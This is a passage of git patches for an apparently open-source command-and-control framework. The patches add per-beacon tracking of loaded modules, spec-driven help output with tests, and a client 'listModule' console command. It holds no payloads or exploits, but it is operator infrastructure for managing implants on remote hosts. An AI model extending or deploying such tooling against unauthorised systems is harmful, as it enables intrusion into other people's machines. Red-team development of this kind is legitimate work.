targetSession, + const ModuleEmitter& emit) const +{ + std::lock_guard lock(m_loadedModulesMutex); + const std::string targetBeaconHash = targetSession.beacon_hash(); + const std::string targetListenerHash = targetSession.listener_hash(); + + for (const auto& [beaconHash, modules] : m_loadedModulesByBeacon) + { + if (!targetBeaconHash.empty() && beaconHash != targetBeaconHash) + continue; + + for (const auto& [_, module] : modules) + { + if (!targetListenerHash.empty() && module.listenerHash != targetListenerHash) + continue; + + teamserverapi::LoadedModule response; + response.mutable_session()->set_beacon_hash(module.beaconHash); + response.mutable_session()->set_listener_hash(module.listenerHash); + response.set_name(module.name); + response.set_state(module.state); + response.set_command_id(module.commandId); + response.set_artifact(module.artifact); + response.set_updated_at(module.updatedAt); + response.set_load_count(module.loadCount); + if (!emit(response)) + return grpc::Status::OK; + } + } + + return grpc::Status::OK; +} + grpc::Status TeamServerListenerSessionService::streamSessions(const TeamServerListenerSessionService::SessionEmitter& emit) { m_logger->trace("ListSessions"); @@ -550,6 +834,25 @@ grpc::Status TeamServerListenerSessionService::sendSessionCommand(const teamserv return grpc::Status::OK; } + const std::string instruction = c2Message.instruction(); + std::string moduleName; + if (instruction == LoadC2ModuleCmd) + { + moduleName = moduleNameFromLoadTask(input, c2Message); + std::string existingState; + if (hasActiveModule(beaconHash, moduleName, existingState)) + { + response->set_message("Module already tracked on this beacon: " + moduleName + " (" + existingState + ")."); + m_logger->debug("SendSessionCommand rejected duplicate module load {0} on beacon {1}", moduleName, beaconHash); + m_logger->trace("SendSessionCommand end"); + return grpc::Status::OK; + } + } + else if (instruction == UnloadC2ModuleCmd) + { + moduleName = moduleNameFromUnloadTask(input, c2Message); + } + m_logger->info("Queued command {} for beacon {} -> '{}'", commandId, beaconHash.substr(0, 8), input); const std::string& inputFile = c2Message.inputfile(); @@ -560,10 +863,14 @@ grpc::Status TeamServerListenerSessionService::sendSessionCommand(const teamserv m_logger->info("File attached to task: '{}' | size={} bytes | MD5={}", inputFile, payload.size(), md5); } - const std::string instruction = c2Message.instruction(); c2Message.set_uuid(commandId); m_listeners[i]->queueTask(beaconHash, c2Message); + if (instruction == LoadC2ModuleCmd) + markModuleLoading(beaconHash, listenerHash, moduleName, commandId, c2Message.inputfile()); + else if (instruction == UnloadC2ModuleCmd) + markModuleUnloading(beaconHash, moduleName, commandId); + m_sentCommands.push_back(BeaconCommandContext{ commandId, beaconHash, @@ -653,6 +960,9 @@ int TeamServerListenerSessionService::handleCmdResponse() m_sentCommands.erase(sentCommand); } + if (trackedCommand) + applyModuleResult(beaconHash, listenerHash, commandId, responseInstruction, errorMsg.empty()); + teamserverapi::CommandResult commandResponseTmp; commandResponseTmp.set_status(errorMsg.empty() ? teamserverapi::OK : teamserverapi::KO); commandResponseTmp.mutable_session()->set_beacon_hash(beaconHash); diff --git a/teamServer/teamServer/TeamServerListenerSessionService.hpp b/teamServer/teamServer/TeamServerListenerSessionService.hpp index cadf2fd..cb3503c 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.hpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.hpp @@ -3,6 +3,7 @@ #include #include #include +#include #include #include #include @@ -25,6 +26,7 @@ class TeamServerListenerSessionService using ListenerEmitter = std::function; using SessionEmitter = std::function; using CommandResultEmitter = std::function; + using ModuleEmitter = std::function; TeamServerListenerSessionService( std::shared_ptr logger, @@ -43,6 +45,7 @@ class TeamServerListenerSessionService grpc::Status streamSessions(const SessionEmitter& emit); grpc::Status stopSession(const teamserverapi::SessionSelector& sessionToStop, teamserverapi::OperationAck* response); + grpc::Status streamModulesForSession(const teamserverapi::SessionSelector& targetSession, const ModuleEmitter& emit) const; grpc::Status sendSessionCommand(const teamserverapi::SessionCommandRequest& command, teamserverapi::CommandAck* response); grpc::Status streamResponsesForSession( const teamserverapi::SessionSelector& targetSession, @@ -62,4 +65,38 @@ class TeamServerListenerSessionService std::unordered_map>& m_sentResponses; std::vector& m_sentCommands; PrepMsgCallback m_prepMsg; + + struct BeaconModuleRecord + { + std::string beaconHash; + std::string listenerHash; + std::string name; + std::string state; + std::string commandId; + std::string artifact; + std::string updatedAt; + int loadCount = 0; + }; + + std::string sessionModuleKey(const std::string& beaconHash) const; + std::string canonicalModuleName(const std::string& value) const; + std::string moduleNameFromLoadTask(const std::string& input, const C2Message& c2Message) const; + std::string moduleNameFromUnloadTask(const std::string& input, const C2Message& c2Message) const; + bool hasActiveModule(const std::string& beaconHash, const std::string& moduleName, std::string& state) const; + void markModuleLoading( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& moduleName, + const std::string& commandId, + const std::string& artifact); + void markModuleUnloading(const std::string& beaconHash, const std::string& moduleName, const std::string& commandId); + void applyModuleResult( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& commandId, + const std::string& instruction, + bool success); + + mutable std::mutex m_loadedModulesMutex; + std::unordered_map> m_loadedModulesByBeacon; }; diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index bfa6ac5..42cc969 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -224,11 +224,151 @@ void testQueueStopAndResponseDeduplication() .ok()); assert(secondClientResponses.size() == 1); } + +void testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + auto primaryListener = std::make_shared("127.0.0.1", "8443", ListenerHttpsType, "listener-primary"); + primaryListener->addSession("listener-primary", "ABCDEFGH12345678", "host", "user", "x64", "admin", "Linux"); + listeners.push_back(primaryListener); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + [](const std::string& input, C2Message& c2Message, bool, const std::string&) + { + if (input.rfind("loadModule", 0) == 0) + { + c2Message.set_instruction(LoadC2ModuleCmd); + c2Message.set_inputfile("libPrintWorkingDirectory.so"); + c2Message.set_data("module-bytes"); + } + else if (input.rfind("unloadModule", 0) == 0) + { + c2Message.set_instruction(UnloadC2ModuleCmd); + c2Message.set_cmd("pwd"); + } + else + { + c2Message.set_instruction("instruction"); + c2Message.set_cmd(input); + } + return 0; + }); + + teamserverapi::SessionCommandRequest loadCommand; + loadCommand.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + loadCommand.mutable_session()->set_listener_hash("listener-primary"); + loadCommand.set_command("loadModule pwd"); + loadCommand.set_command_id("load-0001"); + + teamserverapi::CommandAck loadResponse; + assert(service.sendSessionCommand(loadCommand, &loadResponse).ok()); + assert(loadResponse.status() == teamserverapi::OK); + + std::vector modules; + teamserverapi::SessionSelector sessionSelector; + sessionSelector.set_beacon_hash("ABCDEFGH12345678"); + sessionSelector.set_listener_hash("listener-primary"); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].name() == "pwd"); + assert(modules[0].state() == "loading"); + + teamserverapi::CommandAck duplicateLoadResponse; + assert(service.sendSessionCommand(loadCommand, &duplicateLoadResponse).ok()); + assert(duplicateLoadResponse.status() == teamserverapi::KO); + assert(duplicateLoadResponse.message().find("already tracked") != std::string::npos); + + C2Message loadResult; + loadResult.set_instruction(LoadC2ModuleCmd); + loadResult.set_uuid("load-0001"); + loadResult.set_returnvalue(CmdStatusSuccess); + assert(primaryListener->addTaskResult(loadResult, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].name() == "pwd"); + assert(modules[0].state() == "loaded"); + assert(modules[0].load_count() == 1); + + teamserverapi::SessionCommandRequest unloadCommand; + unloadCommand.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + unloadCommand.mutable_session()->set_listener_hash("listener-primary"); + unloadCommand.set_command("unloadModule pwd"); + unloadCommand.set_command_id("unload-0001"); + + teamserverapi::CommandAck unloadResponse; + assert(service.sendSessionCommand(unloadCommand, &unloadResponse).ok()); + assert(unloadResponse.status() == teamserverapi::OK); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].state() == "unloading"); + + C2Message unloadResult; + unloadResult.set_instruction(UnloadC2ModuleCmd); + unloadResult.set_uuid("unload-0001"); + unloadResult.set_returnvalue(CmdStatusSuccess); + assert(primaryListener->addTaskResult(unloadResult, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.empty()); +} } // namespace int main() { testCollectListenersAndSessions(); testQueueStopAndResponseDeduplication(); + testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules(); return 0; } From f93dcaaa93cb5f65034484fa1a650423c12134a6 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 14:57:23 +0200 Subject: [PATCH 26/82] Help cmd --- C2Client/TODO.md | 2 +- teamServer/teamServer/TeamServer.cpp | 3 +- .../teamServer/TeamServerHelpService.cpp | 237 ++++++++++++++++-- .../teamServer/TeamServerHelpService.hpp | 13 +- .../tests/TeamServerHelpServiceTests.cpp | 206 ++++++++++++++- 5 files changed, 427 insertions(+), 34 deletions(-) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 0926ead..3b043d3 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -23,7 +23,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `ListModules` stream les modules suivis par beacon, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Reste aide detaillee et persistence/historique modules. | +| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Reste persistence/historique modules. | | 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | | 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | | 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index f10791b..ff8e5ed 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -61,7 +61,8 @@ TeamServer::TeamServer(const nlohmann::json& config) m_logger, m_listeners, m_moduleCmd, - m_commonCommands); + m_commonCommands, + TeamServerCommandCatalog(runtimeConfig)); m_listenerSessionService = std::make_unique( m_logger, m_config, diff --git a/teamServer/teamServer/TeamServerHelpService.cpp b/teamServer/teamServer/TeamServerHelpService.cpp index 36e0254..150c513 100644 --- a/teamServer/teamServer/TeamServerHelpService.cpp +++ b/teamServer/teamServer/TeamServerHelpService.cpp @@ -1,6 +1,11 @@ #include "TeamServerHelpService.hpp" +#include +#include +#include +#include #include +#include #include #include "modules/ModuleCmd/Common.hpp" @@ -8,17 +13,90 @@ namespace { const std::string HelpCmd = "help"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +bool equalsCaseInsensitive(const std::string& left, const std::string& right) +{ + return toLower(left) == toLower(right); +} + +std::string joinList(const std::vector& values, const std::string& fallback = "") +{ + if (values.empty()) + return fallback; + + std::ostringstream output; + for (size_t i = 0; i < values.size(); ++i) + { + if (i > 0) + output << ", "; + output << values[i]; + } + return output.str(); +} + +std::string displayKind(const std::string& kind) +{ + const std::string lowered = toLower(kind); + if (lowered == "common") + return "Common Commands"; + if (lowered == "module") + return "Module Commands"; + if (lowered == "operator") + return "Operator Commands"; + if (kind.empty()) + return "Commands"; + return kind + " Commands"; +} + +void appendArtifactFilter(std::ostringstream& output, const TeamServerCommandArtifactFilter& filter) +{ + std::vector parts; + if (!filter.category.empty()) + parts.push_back("category=" + filter.category); + if (!filter.target.empty()) + parts.push_back("target=" + filter.target); + if (!filter.platform.empty()) + parts.push_back("platform=" + filter.platform); + if (!filter.arch.empty()) + parts.push_back("arch=" + filter.arch); + if (!filter.runtime.empty()) + parts.push_back("runtime=" + filter.runtime); + + if (!parts.empty()) + output << "\n Artifact filter: " << joinList(parts); +} + +std::string argUsageToken(const TeamServerCommandArgSpec& arg) +{ + std::string token = arg.name.empty() ? "arg" : arg.name; + if (arg.variadic) + token += "..."; + if (arg.required) + return "<" + token + ">"; + return "[" + token + "]"; +} } TeamServerHelpService::TeamServerHelpService( std::shared_ptr logger, std::vector>& listeners, std::vector>& moduleCmd, - CommonCommands& commonCommands) + CommonCommands& commonCommands, + TeamServerCommandCatalog catalog) : m_logger(std::move(logger)), m_listeners(listeners), m_moduleCmd(moduleCmd), - m_commonCommands(commonCommands) + m_commonCommands(commonCommands), + m_catalog(std::move(catalog)) { } @@ -37,7 +115,7 @@ grpc::Status TeamServerHelpService::getHelp(const teamserverapi::CommandHelpRequ if (!splitedCmd.empty() && splitedCmd[0] == HelpCmd) { if (splitedCmd.size() < 2) - output = buildGeneralHelp(isWindowsSession(beaconHash, listenerHash)); + output = buildGeneralHelp(sessionPlatform(beaconHash, listenerHash)); else output = buildSpecificHelp(splitedCmd[1]); } @@ -54,7 +132,7 @@ grpc::Status TeamServerHelpService::getHelp(const teamserverapi::CommandHelpRequ return grpc::Status::OK; } -bool TeamServerHelpService::isWindowsSession(const std::string& beaconHash, const std::string& listenerHash) const +std::string TeamServerHelpService::sessionPlatform(const std::string& beaconHash, const std::string& listenerHash) const { for (const std::shared_ptr& listener : m_listeners) { @@ -62,13 +140,148 @@ bool TeamServerHelpService::isWindowsSession(const std::string& beaconHash, cons continue; std::shared_ptr session = listener->getSessionPtr(beaconHash, listenerHash); - return session && session->getOs() == "Windows"; + if (!session) + return ""; + + const std::string os = toLower(session->getOs()); + if (os.find("windows") != std::string::npos || os.rfind("win", 0) == 0) + return "windows"; + if (os.find("linux") != std::string::npos) + return "linux"; + if (os.find("mac") != std::string::npos || os.find("darwin") != std::string::npos) + return "macos"; + return ""; + } + + return ""; +} + +std::string TeamServerHelpService::buildGeneralHelp(const std::string& platform) const +{ + TeamServerCommandQuery query; + query.platform = platform; + const std::vector commands = m_catalog.listCommands(query); + if (commands.empty()) + return buildLegacyGeneralHelp(platform == "windows"); + + std::map> commandsByKind; + for (const TeamServerCommandSpecRecord& command : commands) + commandsByKind[command.kind].push_back(command); + + std::ostringstream output; + output << "Available commands"; + if (!platform.empty()) + output << " for " << platform; + output << ":\n"; + output << "Use help for command-specific details.\n"; + + const std::vector preferredOrder = {"common", "module", "operator"}; + for (const std::string& kind : preferredOrder) + { + auto it = commandsByKind.find(kind); + if (it == commandsByKind.end()) + continue; + + output << "\n- " << displayKind(kind) << ":\n"; + for (const TeamServerCommandSpecRecord& command : it->second) + { + output << " " << command.name; + if (!command.description.empty()) + output << " - " << command.description; + output << "\n"; + } + commandsByKind.erase(it); } + for (const auto& [kind, remainingCommands] : commandsByKind) + { + output << "\n- " << displayKind(kind) << ":\n"; + for (const TeamServerCommandSpecRecord& command : remainingCommands) + { + output << " " << command.name; + if (!command.description.empty()) + output << " - " << command.description; + output << "\n"; + } + } + + return output.str(); +} + +std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruction) const +{ + TeamServerCommandSpecRecord command; + if (findCommandSpec(instruction, command)) + return formatCommandHelp(command); + + return buildLegacySpecificHelp(instruction); +} + +bool TeamServerHelpService::findCommandSpec(const std::string& instruction, TeamServerCommandSpecRecord& command) const +{ + TeamServerCommandQuery query; + query.nameContains = instruction; + const std::vector candidates = m_catalog.listCommands(query); + for (const TeamServerCommandSpecRecord& candidate : candidates) + { + if (equalsCaseInsensitive(candidate.name, instruction)) + { + command = candidate; + return true; + } + } return false; } -std::string TeamServerHelpService::buildGeneralHelp(bool isWindows) const +std::string TeamServerHelpService::formatCommandHelp(const TeamServerCommandSpecRecord& command) const +{ + std::ostringstream output; + output << command.name << "\n"; + if (!command.description.empty()) + output << command.description << "\n"; + + output << "\nUsage: " << command.name; + for (const TeamServerCommandArgSpec& arg : command.args) + output << " " << argUsageToken(arg); + output << "\n"; + + output << "\nKind: " << (command.kind.empty() ? "unknown" : command.kind) << "\n"; + output << "Target: " << (command.target.empty() ? "unknown" : command.target) << "\n"; + output << "Requires session: " << (command.requiresSession ? "yes" : "no") << "\n"; + output << "Platforms: " << joinList(command.platforms, "any") << "\n"; + output << "Archs: " << joinList(command.archs, "any") << "\n"; + + if (!command.args.empty()) + { + output << "\nArguments:\n"; + for (const TeamServerCommandArgSpec& arg : command.args) + { + output << " " << argUsageToken(arg) << " (" << (arg.type.empty() ? "text" : arg.type); + output << (arg.required ? ", required" : ", optional"); + if (arg.variadic) + output << ", variadic"; + output << ")"; + if (!arg.description.empty()) + output << " - " << arg.description; + if (!arg.values.empty()) + output << "\n Values: " << joinList(arg.values); + if (arg.hasArtifactFilter) + appendArtifactFilter(output, arg.artifactFilter); + output << "\n"; + } + } + + if (!command.examples.empty()) + { + output << "\nExamples:\n"; + for (const std::string& example : command.examples) + output << " " << example << "\n"; + } + + return output.str(); +} + +std::string TeamServerHelpService::buildLegacyGeneralHelp(bool isWindows) const { std::string output; output += "- Beacon Commands:\n"; @@ -103,10 +316,9 @@ std::string TeamServerHelpService::buildGeneralHelp(bool isWindows) const return output; } -std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruction) const +std::string TeamServerHelpService::buildLegacySpecificHelp(const std::string& instruction) const { std::string output; - bool isModuleFound = false; for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) { @@ -114,7 +326,6 @@ std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruct { output += m_commonCommands.getHelp(instruction); output += "\n"; - isModuleFound = true; } } @@ -124,16 +335,8 @@ std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruct { output += module->getInfo(); output += "\n"; - isModuleFound = true; } } - if (!isModuleFound) - { - output += "Module "; - output += instruction; - output += " not found.\n"; - } - return output; } diff --git a/teamServer/teamServer/TeamServerHelpService.hpp b/teamServer/teamServer/TeamServerHelpService.hpp index 6196965..1bc31bd 100644 --- a/teamServer/teamServer/TeamServerHelpService.hpp +++ b/teamServer/teamServer/TeamServerHelpService.hpp @@ -7,6 +7,7 @@ #include #include "TeamServerApi.pb.h" +#include "TeamServerCommandCatalog.hpp" #include "listener/Listener.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" @@ -19,17 +20,23 @@ class TeamServerHelpService std::shared_ptr logger, std::vector>& listeners, std::vector>& moduleCmd, - CommonCommands& commonCommands); + CommonCommands& commonCommands, + TeamServerCommandCatalog catalog); grpc::Status getHelp(const teamserverapi::CommandHelpRequest& command, teamserverapi::CommandHelpResponse* commandResponse) const; private: - bool isWindowsSession(const std::string& beaconHash, const std::string& listenerHash) const; - std::string buildGeneralHelp(bool isWindows) const; + std::string sessionPlatform(const std::string& beaconHash, const std::string& listenerHash) const; + std::string buildGeneralHelp(const std::string& platform) const; std::string buildSpecificHelp(const std::string& instruction) const; + std::string buildLegacyGeneralHelp(bool isWindows) const; + std::string buildLegacySpecificHelp(const std::string& instruction) const; + bool findCommandSpec(const std::string& instruction, TeamServerCommandSpecRecord& command) const; + std::string formatCommandHelp(const TeamServerCommandSpecRecord& command) const; std::shared_ptr m_logger; std::vector>& m_listeners; std::vector>& m_moduleCmd; CommonCommands& m_commonCommands; + TeamServerCommandCatalog m_catalog; }; diff --git a/teamServer/tests/TeamServerHelpServiceTests.cpp b/teamServer/tests/TeamServerHelpServiceTests.cpp index 73e430b..5089676 100644 --- a/teamServer/tests/TeamServerHelpServiceTests.cpp +++ b/teamServer/tests/TeamServerHelpServiceTests.cpp @@ -1,12 +1,46 @@ #include +#include +#include #include #include +#include +#include #include +#include "TeamServerCommandCatalog.hpp" #include "TeamServerHelpService.hpp" +#include "TeamServerRuntimeConfig.hpp" + +namespace fs = std::filesystem; namespace { +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + class TestListener final : public Listener { public: @@ -62,6 +96,11 @@ class FakeModule final : public ModuleCmd int m_compatibility; }; +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-help-service-" + name + "-" + std::to_string(::getpid())); +} + std::shared_ptr makeLogger() { auto logger = std::make_shared("help-tests"); @@ -69,8 +108,102 @@ std::shared_ptr makeLogger() return logger; } +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.commandSpecsDirectoryPath = (root / "CommandSpecs").string(); + fs::create_directories(runtimeConfig.commandSpecsDirectoryPath); + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "sleep.json", + R"JSON({ + "name": "sleep", + "display_name": "sleep", + "kind": "common", + "description": "Set the beacon sleep interval in seconds.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "seconds", + "type": "number", + "required": true, + "description": "Sleep interval in seconds." + } + ], + "examples": ["sleep 0.5"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "help.json", + R"JSON({ + "name": "help", + "kind": "common", + "description": "Show available commands.", + "target": "operator", + "requires_session": false, + "platforms": ["any"], + "archs": ["any"], + "args": [ + { + "name": "command", + "type": "text", + "required": false, + "description": "Optional command name." + } + ], + "examples": ["help", "help sleep"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "winmod.json", + R"JSON({ + "name": "winmod", + "kind": "module", + "description": "Windows-only module.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["any"], + "args": [], + "examples": ["winmod"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "linmod.json", + R"JSON({ + "name": "linmod", + "kind": "module", + "description": "Linux-only module.", + "target": "beacon", + "requires_session": true, + "platforms": ["linux"], + "archs": ["any"], + "args": [], + "examples": ["linmod"], + "source": "manifest" +})JSON"); +} + void testGeneralHelpUsesSessionPlatform() { + ScopedPath tempRoot(makeTempDirectory("general")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + auto logger = makeLogger(); std::vector> listeners; auto listener = std::make_shared("listener-primary"); @@ -82,7 +215,12 @@ void testGeneralHelpUsesSessionPlatform() moduleCmd.push_back(std::make_unique("linmod", "linux module info", OS_LINUX)); CommonCommands commonCommands; - TeamServerHelpService service(logger, listeners, moduleCmd, commonCommands); + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); teamserverapi::CommandHelpRequest command; command.set_command("help"); @@ -92,38 +230,82 @@ void testGeneralHelpUsesSessionPlatform() teamserverapi::CommandHelpResponse response; assert(service.getHelp(command, &response).ok()); assert(response.status() == teamserverapi::OK); - assert(response.help().find("- Modules Commands Windows:") != std::string::npos); + assert(response.help().find("Available commands for windows:") != std::string::npos); + assert(response.help().find("- Common Commands:") != std::string::npos); + assert(response.help().find("sleep - Set the beacon sleep interval") != std::string::npos); + assert(response.help().find("- Module Commands:") != std::string::npos); assert(response.help().find("winmod") != std::string::npos); assert(response.help().find("linmod") == std::string::npos); } -void testSpecificHelpResolvesModuleInfoAndMissingModule() +void testSpecificHelpUsesCommandSpec() { + ScopedPath tempRoot(makeTempDirectory("specific")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + auto logger = makeLogger(); std::vector> listeners; std::vector> moduleCmd; - moduleCmd.push_back(std::make_unique("winmod", "windows module info", OS_WINDOWS)); CommonCommands commonCommands; - TeamServerHelpService service(logger, listeners, moduleCmd, commonCommands); + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); - teamserverapi::CommandHelpRequest moduleCommand; - moduleCommand.set_command("help winmod"); - teamserverapi::CommandHelpResponse moduleResponse; - assert(service.getHelp(moduleCommand, &moduleResponse).ok()); - assert(moduleResponse.help().find("windows module info") != std::string::npos); + teamserverapi::CommandHelpRequest sleepCommand; + sleepCommand.set_command("help sleep"); + teamserverapi::CommandHelpResponse sleepResponse; + assert(service.getHelp(sleepCommand, &sleepResponse).ok()); + assert(sleepResponse.status() == teamserverapi::OK); + assert(sleepResponse.help().find("sleep\n") == 0); + assert(sleepResponse.help().find("Usage: sleep ") != std::string::npos); + assert(sleepResponse.help().find(" (number, required) - Sleep interval in seconds.") != std::string::npos); + assert(sleepResponse.help().find("Examples:") != std::string::npos); + assert(sleepResponse.help().find("sleep 0.5") != std::string::npos); teamserverapi::CommandHelpRequest missingCommand; missingCommand.set_command("help nope"); teamserverapi::CommandHelpResponse missingResponse; assert(service.getHelp(missingCommand, &missingResponse).ok()); - assert(missingResponse.help() == "Module nope not found.\n"); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "No help available."); +} + +void testSpecificHelpFallsBackToLegacyInfoWithoutSpec() +{ + ScopedPath tempRoot(makeTempDirectory("fallback")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + auto logger = makeLogger(); + std::vector> listeners; + std::vector> moduleCmd; + moduleCmd.push_back(std::make_unique("legacyMod", "legacy module info", OS_WINDOWS)); + + CommonCommands commonCommands; + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); + + teamserverapi::CommandHelpRequest moduleCommand; + moduleCommand.set_command("help legacyMod"); + teamserverapi::CommandHelpResponse moduleResponse; + assert(service.getHelp(moduleCommand, &moduleResponse).ok()); + assert(moduleResponse.status() == teamserverapi::OK); + assert(moduleResponse.help().find("legacy module info") != std::string::npos); } } // namespace int main() { testGeneralHelpUsesSessionPlatform(); - testSpecificHelpResolvesModuleInfoAndMissingModule(); + testSpecificHelpUsesCommandSpec(); + testSpecificHelpFallsBackToLegacyInfoWithoutSpec(); return 0; } From fcd4100bcba2601ecaa4266c62ae6406c443e6d0 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 15:10:37 +0200 Subject: [PATCH 27/82] listModule --- C2Client/C2Client/ConsolePanel.py | 36 ++++++++++++++++++++++++++++ C2Client/TODO.md | 2 +- C2Client/tests/test_console_panel.py | 36 +++++++++++++++++++++++++++- core | 2 +- packaging/validate_release.py | 1 + 5 files changed, 74 insertions(+), 3 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 82a2f8e..40148f9 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -73,6 +73,7 @@ CmdHistoryFileName = ".cmdHistory" HelpInstruction = "help" +ListModuleInstruction = "listModule" COMPLETER_REFRESH_SECONDS = 5.0 MODULE_COMMAND_ALIASES = { @@ -318,6 +319,25 @@ def _tracked_module_names(modules: list[Any], states: set[str]) -> list[str]: ]) +def _format_loaded_modules_for_console(modules: list[Any]) -> str: + rows = [] + for module in modules: + name = str(getattr(module, "name", "") or "").strip() + if not name: + continue + status = str(getattr(module, "state", "") or "unknown").strip() or "unknown" + rows.append((name, status)) + + if not rows: + return "No loaded modules." + + name_width = max(len("name"), *(len(name) for name, _status in rows)) + lines = 